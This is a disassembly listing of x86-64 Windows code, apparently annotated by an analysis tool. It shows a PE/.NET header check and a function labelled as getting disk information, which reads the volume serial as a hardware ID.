mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002c8a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002c8a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002c8a
cmp dword [rcx + 0x84], 0xe
jbe 0x140002c8a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002c8c
xor al, al
add rsp, 0x28
ret
Function at 0x140001720
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rsp + 0x60], rcx
mov dword [rsp + 0x38], eax
lea r9, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov rbx, rcx
mov qword [rsp + 0x28], rax
lea rcx, [0x14005e170]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x14000178f
mov edx, dword [rsp + 0x60]
mov rcx, rbx
call fcn.1400020f0
mov rax, rbx
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400513f0
add rsp, 0x70
pop rbx
ret
lea rdx, str.failed_to_get_hwid
lea rcx, [rsp + 0x48]
call fcn.140001470
lea rdx, [0x14006dd10]
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll__CxxThrowException
int3